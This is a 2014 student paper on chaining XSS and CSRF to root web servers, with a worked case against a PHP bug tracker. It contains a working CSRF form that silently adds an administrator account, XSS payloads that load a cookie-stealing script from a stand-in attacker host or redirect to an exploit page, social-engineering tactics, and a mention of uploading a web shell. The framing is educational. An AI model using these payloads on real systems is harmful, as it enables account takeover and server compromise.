Ministry of education and science of Ukraine

Taurida National University

Department of Mathematics and Information

technologies

USING SIMPLE VULNERABILITIES

IN ROOTING WEB-SERVERS

The work is done by: Korobov Eugene Alexandrovich

Student of the II course

Simferopol - 2014

CONTENTS

Introduction………………………………………………………………………….3

Part 1 Theoretical basis of the concept

“vulnerability”………………….…………..5

1.1.The definition of “vulnerability”………………………………..

………….5

1.2.Variety of vulnerabilities……………………………………….....

………..6

1.2.1. Cross Site Scripting…………………………………………………...…6

1.2.2. Cross-Site Request Forgery (CSRF)

…………………………………….8

Part 2 Practical use of vulnerabilities ……………………………….

………………10

2.1. Searching vulnerabilities ………………………………….…………………

10

2.2. Using xsrf ……………………………………………………………………14

2.3. Using xss …………………………………………………………………….16

Conclusion…………………………………………………………………………..17

List of used sources…………………………………………………………………18

INTRODUCTION

The security of the Internet is sure to be one of the

hottest topics in cyberspace nowadays, and with good

reason: the potential for disaster is great, with

millions becoming dependent on connected devices that are

riddled with vulnerabilities. The problems with the

Internet security are numerous, but in most cases the

biggest vulnerabilities come from simple complacency. 

In modern computer security the problem of

insignificant vulnerabilities as xss, csrf and others

isn’t researched enough. XSS vulnerabilities are a

dangerous type of attack. Cross-site scripting (XSS) is

one of the most dangerous and most often found

vulnerabilities related to web applications. Security

researchers have found this vulnerability in most of the

popular websites, including Google, Facebook, Amazon,

PayPal, and many others [17; 5]. This vulnerability is

generally used to perform cookie stealing, malware

spreading, session hijacking, and malicious redirection.

In this attack, the attacker injects malicious JavaScript

code into the website so that the browser executes the

script and performs action as commanded by the attacker

in the script. The vulnerability is easy to find but hard

to patch. 

4

CSRF vulnerabilities have been known and in some

cases exploited since 2001. Because it is carried out

from the user's IP address, some website logs might not

have evidence of CSRF. Cross-Site Request Forgery (CSRF)

attacks occur when a malicious web site causes a user’s

web browser to perform an unwanted action on a trusted

site. These attacks have been called the “sleeping

giant” of web-based vulnerabilities, because many sites

on the Internet fail to protect against them and because

they have been largely ignored by the web development and

security communities [12].

That is why our work is devoted

to depicting of enormous troubles that

such vulnerabilities can lead to, what,

in turn, can become a reason of loss of clients,

income and trust.

As this theme is really vital today, in our article

we would like to describe

the complete process of the use of these vulnerabilities,

beginning with the finding of the holes in

the system of safety and ending with the rooting of a

web server.

All mentioned above

vulnerabilities really existed in one known bug tracker

5

engine and on the one of unofficial servers of the

online game “World of War craft”, but nowadays all of

them have been closed and server administration

was warned about possible attacks on their server.

Not to break the law and advertise no resources all a

ctions will be conducted on our local server.

The main aim of the work is to describe the rooting

of web-servers.

According to the aim the tasks of the paper are the

following:

1. To substantiate the concept of vulnerability

theoretically.

2. To highlight the main types of simple

vulnerabilities.

3. To research functioning of simple

vulnerabilities such as xss, csrf.

The object of the paper is rooting server via simple

vulnerabilities.

The subject of the paper is simple vulnerabilities

such as xss and xsrf.

The main methods of the work are defined by the main

aim and the tasks of the work. The methods of analyses,

synthesis, statistical observation, experiment are used.

The scientific novelty of the work is in the attempt

6

to describe the rooting web-servers.

The practical importance of the work is to make

administrators understand that simple vulnerabilities can

lead to rooting server.

The structure of the work is up to its main aim,

tasks, the subject of the paper, the logic of scientific

research and consists of introduction, two parts,

conclusion and the list of used sources. The total size

of the paper is 18 pages. The amount of used sources is

16 units.

7

PART 1

THEORETICAL BASIS OF THE CONCEPT “VULNARABILITY”

1.1.The definition of “vulnerability”

In computer security, vulnerability is a weakness

which allows an attacker to reduce a system's information

assurance. Vulnerability is the intersection of three

elements: a system susceptibility or flaw, attacker

access to the flaw, and attacker capability to exploit

the flaw. To exploit vulnerability, an attacker must have

at least one applicable tool or technique that can

connect to a system weakness. In this frame,

vulnerability is also known as the attack surface.

A security risk may be classified as vulnerability.

The use of vulnerability with the same meaning of risk

can lead to confusion. The risk is tied to the potential

of a significant loss. Then there are vulnerabilities

without risk: for example when the affected asset has no

value. A vulnerability with one or more known instances

of working and fully implemented attacks is classified as

an exploitable vulnerability — a vulnerability for which

an exploit exists. The window of vulnerability is the

time from when the security hole was introduced or

manifested in deployed software, to when access was

removed, a security fix was available /deployed, or the

8

attacker was disabled.

Vulnerabilities are what information security and

information assurance professionals seek to reduce.

Cutting down vulnerabilities provides fewer options for

malicious users to gain access to secure information.

Computer users and network personnel can protect

computer systems from vulnerabilities by keeping software

security patches up to date. These patches can remedy

flaws or security holes that were found in the initial

release. Computer and network personnel should also stay

informed about current vulnerabilities in the software

they use and seek out ways to protect against them.

Constructs in programming languages that are

difficult to use properly can be a large source of

vulnerabilities.

1.2.Variety of vulnerabilities

1.2.1. Cross Site Scripting

Cross Site Scripting vulnerabilities are sometimes

referred to XSS or CSS vulnerabilities. Typically XSS is

preferred over the use of CSS. CSS typically refers to

the Cascading Style Sheet commonly used in website

design. XSS vulnerabilities are a dangerous type of

9

attack. Especially since the sudden infusion of the

Internet and all the many web applications that are on

the Internet. Typically a website that uses dynamic

content is the only website that can have Cross Site

Scripting vulnerability, which is the majority of

websites out there today. There are two types of XSS

attacks. Reflected and stored.

The malicious user has discovered that a field within

a website or web application holds XSS vulnerability.

This malicious user then crafts a way to use the

vulnerability to execute something malicious to some

unknown user. Reflected XSS vulnerabilities occur when a

unknowing user is directed to a web application that has

a XSS vulnerability, by the malicious user. Once the

unknowing user gets to the web site or application the

malicious user's attack is executed.

The attack is crafted by a series of url parameters

that are sent via url. The malicious user then sends

his/her malicious url with the url parameters to

unknowing users. This is typically sent by e-mail,

instant messages, blogs or forums, or any other possible

methods.

You think that the unknowing user would not click on

some link that looked like it does something bad. But the

10

reflected attack can occur using java script that once an

email is opened or even the website is viewed the attack

is executed. Additionally the attack is typically url

encoded, hex coded, or some other encoding method to try

and make the url appear as something valid.

You can determine if a web-based application is

vulnerable to XSS attacks very easily. A simple easy test

is to take a current parameter that is sent in the HTTP

GET request and modify it. Take for example the following

request in the browser address URL bar. This url will

take a name parameter that you enter in a textbox and

print something on the page. Like "Hello George, thank

you for coming to my site"

http://www.yoursite.com/index.html?name=george and modify

it so that add an extra some additional information to

the parameter. For example try entering something similar

to the following request in the browser address URL bar.

http://www.yoursite.com/index.html?

name=<script>alert('You just found a XSS

vulnerability')</script>.

If this pops up an alert message box stating "You

just found XSS vulnerability", then you know this

parameter is vulnerable to XSS attacks. The parameter

name is not being validating; it is allowing anything to

11

be processed as a name, including a malicious script that

is injected into the parameter passed in. Basically what

is occurring is normally where the name George would be

entered on the page the </script></script> message is

instead being written to the dynamic page. The alert

message just is an example of how to test for the XSS

vulnerability. A malicious hacker would be much more

devious to this type of security vulnerability.

There are many different methods to test for XSS

vulnerabilities. This only describes a few of the

different methods to test for XSS vulnerability.

Input Validation is very important. The developer

needs to validate the input as it's coming in. But

additionally the output needs to be verified. The output

should be correctly html encoded. If the output is

correctly encoded, then instead of executed the

<script></script> tags, they would be html encoded and

not cause the vulnerability.

Attackers intending to exploit cross-site scripting

vulnerabilities must approach each class of vulnerability

differently. The names below are technical terms, taken

from the cast of characters commonly used in computer

security.

Example:

12

1. Mallory gets an account on Bob's website.

2. Mallory observes that Bob's website contains a

reflected XSS vulnerability. If you go to the News

section, and post a comment, it will display whatever

she types in for the comment. But, if the comment text

contains HTML tags in it, the tags get displayed as-

is, and any script tags get run.

3. Mallory reads an article in the News section, and

writes in a comment at the bottom in the Comments

section. In the comment, she inserts this

text: Breastfeeding a puppy? That's disgusting!<script

src=mallorysevilsite.com/authstealer.js  That'll take the

current user's authorization cookie and send it to

Mallory's secret server for collection. Bob's website

software should have stripped out the script tag or

done something to make sure it didn't work, but he

didn't; that's the security bug.

4. When Alice loads the page with the message, Mallory's

script tag runs and steals Alice's authorization

cookie.

5. Mallory can now hijack Alice’s session and impersonate

Alice.

1.2.2. Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is an attack that

13

tricks the victim into loading a page that contains a

malicious request. It is malicious in the sense that it

inherits the identity and privileges of the victim to

perform an undesired function on the victim's behalf,

like change the victim's e-mail address, home address, or

password, or purchase something. CSRF attacks generally

target functions that cause a state change on the server

but can also be used to access sensitive data.

For most sites, browsers will automatically include

with such requests any credentials associated with the

site, such as the user's session cookie, basic auth

credentials, IP address, Windows domain credentials, etc.

Therefore, if the user is currently authenticated to the

site, the site will have no way to distinguish this from

a legitimate user request.

In this way, the attacker can make the victim perform

actions that they didn't intend to, such as logout,

purchase item, change account information, retrieve

account information, or any other function provided by

the vulnerable website.

Sometimes, it is possible to store the CSRF attack on

the vulnerable site itself. Such vulnerabilities are

called Stored CSRF flaws. This can be accomplished by

simply storing an IMG or IFRAME tag in a field that

14

accepts HTML, or by a more complex cross-site scripting

attack. If the attack can store a CSRF attack in the

site, the severity of the attack is amplified. In

particular, the likelihood is increased because the

victim is more likely to view the page containing the

attack than some random page on the Internet. The

likelihood is also increased because the victim is sure

to be authenticated to the site already.

Synonyms: CSRF attacks are also known by a number of

other names, including XSRF, "Sea Surf", Session Riding,

Cross-Site Reference Forgery, Hostile Linking.

15

PART 2

PRACTICAL USE OF VULNERABILITIES

2.1 Searching vulnerabilities

We should start from searching of the

foregoing vulnerabilities.

In general case there are two methods of searching: a

method of a black box and a method of a

white box. The method of a black box means the

manipulation of data in a hope, that some of

them will cause an error or improper behaviour of the

program. The method of a white box implies the studies of

initial codes of the program. As this bug tracking engine

spreads on the license of gpl, we used the method of a

white box.

In the file of index.php we can see the following

code:

$modes = str_replace('.php', '', array_map('basename',

glob_compat(BASEDIR ."/scripts/*.php")));

$do = Req::enum('do', $modes, $proj-

>prefs['default_entry']);

if ($do == 'admin' && Req::has('switch') &&

Req::val('project') != '0') {

$do = 'pm';

} elseif ($do == 'pm' && Req::has('switch') &&

16

Req::val('project') == '0') {

$do = 'admin';

} elseif (Req::has('show') || (Req::has('switch') && ($do

== 'details'))) {

$do = 'index';

}

/* permission stuff */

if (Cookie::has('flyspray_userid') &&

Cookie::has('flyspray_passhash')) {

$user = new User(Cookie::val('flyspray_userid'),

$proj);

$user->check_account_ok();

$user->save_search($do);

} else {

$user = new User(0, $proj);

}

if (Get::val('getfile')) {

// If a file was requested, deliver it

$result = $db->Query("SELECT t.project_id,

a.orig_name,

a.file_name, a.file_type, t.*

FROM {attachments} a

INNER JOIN {tasks} t ON

a.task_id = t.task_id

17

WHERE attachment_id = ?",

array(Get::val('getfile')));

$task = $db->FetchRow($result);

list($proj_id, $orig_name, $file_name, $file_type) =

$task;

// Check if file exists, and user permission to

access it!

if (!is_file(BASEDIR . "/attachments/$file_name")) {

header('HTTP/1.1 410 Gone');

echo 'File does not exist anymore.';

exit();

}

if ($user->can_view_task($task))

{

$path = BASEDIR . "/attachments/$file_name";

header('Pragma: public');

header("Content-type: $file_type");

header('Content-Disposition: filename="'.

$orig_name.'"');

header('Content-transfer-encoding: binary');

header('Content-length: ' . filesize($path));

readfile($path);

exit();

}

18

else {

Flyspray::show_error(1);

}

exit;

And lets see admin.php:

if (!defined('IN_FS')) {

die('Do not access this file directly.');

}

if (!$user->perms('is_admin')) {

Flyspray::show_error(4);

}

$proj = new Project(0);

$proj->setCookie();

$page->pushTpl('admin.menu.tpl');

switch ($area = Req::val('area', 'prefs')) {

case 'users':

$id =

Flyspray::UserNameToId(Req::val('user_name'));

if (!$id) {

$id = Req::val('user_id');

}

$theuser = new User($id, $proj);

if ($theuser->isAnon()) {

19

Flyspray::show_error(5, true, null,

$_SESSION['prev_page']);

}

$page->assign('theuser', $theuser);

case 'cat':

case 'editgroup':

// yeah, utterly stupid, is changed in 1.0

already

if (Req::val('area') == 'editgroup') {

$group_details =

Flyspray::getGroupDetails(Req::num('id'));

if (!$group_details ||

$group_details['project_id'] != $proj->id) {

Flyspray::show_error(L('groupnotexist'));

Flyspray::Redirect(CreateURL('pm',

'groups', $proj->id));

}

$page->uses('group_details');

}

case 'groups':

case 'newuser':

$page->assign('groups', Flyspray::ListGroups());

case 'newproject':

case 'os':

20

case 'prefs':

case 'resolution':

case 'tasktype':

case 'status':

case 'version':

case 'newgroup':

$page->setTitle($fs->prefs['page_title'] .

L('admintoolboxlong'));

$page->pushTpl('admin.'.$area.'.tpl');

break;

default:

Flyspray::show_error(6);

}

(We didn't show the code of adding new user because of

its uselessness.)

21

2.1. Using xsrf

It is easy to notice that due to

insufficient verification of authenticity of 

HTTP of queries we can conduct an xsrf  attack

as follows:

<html>

<body onload="javascript:document.forms[0].submit()">

<H2>CSRF Exploit to add ADMIN account</H2>

<form method="POST" name="form0"

action="http://127.0.0.1:80/engine/index.php?

do=admin&area=newuser">

<input type="hidden" name="action"

value="admin.newuser"/>

<input type="hidden" name="do" value="admin"/>

<input type="hidden" name="area" value="newuser"/>

<input type="hidden" name="user_name" value="root"/>

<input type="hidden" name="user_pass" value="12345678"/>

<input type="hidden" name="user_pass2" value="12345678"/>

<input type="hidden" name="real_name" value="root"/>

<input type="hidden" name="email_address"

value="root@root.com"/>

<input type="hidden" name="jabber_id" value=""/>

<input type="hidden" name="notify_type" value="0"/>

<input type="hidden" name="time_zone" value="0"/>

22

<input type="hidden" name="group_in" value="1"/>

</form>

</body>

</html>

Therefore, by simple manipulations we can add

ourselves to the list of administrators of this resource.

It is needed to notice that the web-site

www.exploit -db.com has already contained the

description of this vulnerability, but the author has

made a rough error, due to which the

exploit given on this web-site will not work correctly.

As we can see from the

description of vulnerability, we need an administrator to

be authorized.  To simplify the process

we will use the social engineering.

Social engineering is a term that describes a non-

technical kind of intrusion that relies heavily on human

interaction and often involves tricking other people to

break normal security procedures.

A social engineer runs what used to be called a "con

game." For example, a person using social engineering to

break into a computer network might try to gain the

confidence of an authorized user and get them to reveal

information that compromises the network's security.

23

Social engineers often rely on the natural helpfulness of

people as well as on their weaknesses. They might, for

example, call the authorized employee with some kind of

urgent problem that requires immediate network access.

Appeal to vanity, appeal to authority, appeal to greed,

and old-fashioned eavesdropping are other typical social

engineering techniques.

Social engineering is a component of many, if not

most, types of exploits. Virus writers use social

engineering tactics to persuade people to run malware-

laden email attachments, phishers use social engineering

to convince people to divulge sensitive information, and

scareware vendors use social engineering to frighten

people into running software that is useless at best and

dangerous at worst.

Another aspect of social engineering relies on

people's inability to keep up with a culture that relies

heavily on information technology. Social engineers rely

on the fact that people are not aware of the value of the

information they possess and are careless about

protecting it. Frequently, social engineers will search

dumpsters for valuable information, memorize access codes

by looking over someone's shoulder (shoulder surfing), or

take advantage of people's natural inclination to choose

24

passwords that are meaningful to them but can be easily

guessed.

Security experts propose that as our culture becomes

more dependent on information, social engineering will

remain the greatest threat to any security system.

Prevention includes educating people about the value of

information, training them to protect it, and increasing

people's awareness of how social engineers operate.

But there is a question

how to compel an administrator to go to a

necessary reference. In fact he will hardly ever

want to pass to the unknown  web-site. The

answer lies on a surface: we must compel administrator to 

pass to the  “poisoned” page of his own resource, and xss

will help us to do this.

2.2. Using the XSS

<?php

include('db_class.php');

$name = $_GET['name'];

$message = $_GET['message'];

// adding to database

print $name." ".$message;

?>

We need to make a reservation that this is only a

25

supposition how a code looks like, because an

access to the code exactly of this page was closed

for us, and vulnerability was found by

manipulation with data with the help of a scanner 

Acunetix WVS.

As we see, insufficient filtration of entry parameter

s gives a possibility to do an

active xss attack, that we are going to do, adding a

comment with the text, containing a script:

any_message <script

language="javascript">window.location="http://www.hackersite.com

/exploit.php";</script>

Now we can add a new task on a bug tracker with a

reference to the guest book and with a

text compelling to go across the reference, which is easy

to think of, because the reference is the same resource.

After administration’s transition on our reference, w

e receive all the rights of the

administrator in the system.

Everything we need to do is to find a

files loader and to load web-shell on a server.

26

CONCLUSION

To sum up, even so simple vulnerabilities can be a

reason of rooting of web-servers. In our paper we showed

you the complete process of the use of all mentioned

above vulnerabilities, beginning with the finding of the

holes in the system of safety and ending with the

rooting of a web server. All aims were reached:

1.We described the basics of information security.

2.We highlighted the definitions of the term

“vulnerability” and the main concepts of xss, xsrf

and social engineering.

3.We depicted the whole process of rooting web-servers

using simple vulnerabilities.

The root cause of XSS, CSRF and similar

vulnerabilities probably lies in the complexity of

today’s Web protocols, and the gradual evolution of the

Web from a data presentation facility to a platform for

interactive services. As more capabilities are added to

browser clients, and as more sites involve sophisticated

programming and client-server interactive services, CSRF

and related attacks will become more prevalent unless

defenses are adopted. As the complexity of Web

technologies continue to increase, we can expect further

new categories of attacks to emerge.

27

That is why in future we are going to explore more

simple vulnerabilities, because administrators have to

understand the problem of simple vulnerabilities and

because information security is one of the most important

parts of the modern IT industry.

28

REFERENCES OF USED SOURCES

1. “A Most-Neglected Fact About Cross Site Request

Forgery”

2. “Cross Site Request Forgery: An Introduction To A

Common Web Weakness”

3. “Hacking the Human: Social Engineering Techniques and

Security Countermeasures”

4. “Re-Floating the Titanic: Dealing with Social

Engineering Attacks”

5. “Security Corner: Cross-Site Request Forgeries”

6. “The Art of Exploit”

7. “The Shellcoder's Handbook”

8. http://technet.microsoft.com/en-us/library/

cc751383.aspx

9. https://www.eecs.berkeley.edu/~daw/teaching/cs261-

f11/reading/csrf.pdf

10. J. Burns. Cross Site Reference Forgery: An

introduction to a common web application

weakness.

http://www.isecpartners.com/documents/XSRF_Paper.pdf,

2005.

11. J. Grossman. CSRF, the sleeping giant.

http://jeremiahgrossman.blogspot.com/2006/09/csrf-

sleeping-giant.html, Sep 2006.

29

12. M. Johns and J. Winter. Protecting the Intranet

Against “JavaScript Malware” and Related Attacks. In

DIMVA, 2007.

13. M. Johns and J. Winter. Request Rodeo: Client Side

Protection against Session Riding. In F.

Piessens, editor, Proceedings of the OWASP Europe

2006Conference, refereed papers track, Report CW448,

pages 5 - 17. Department Computerwetenschap-pen,

Katholieke Universiteit Leuven, May 2006.

14. OWASP vulnerabilities base

15. Search security articles

16. T. Schreiber. Session Riding: A

Widespread Vulnerability in Today’s Web

Applications.

http://www.securenet.de/papers/Session_Riding.pdf,

2004.

30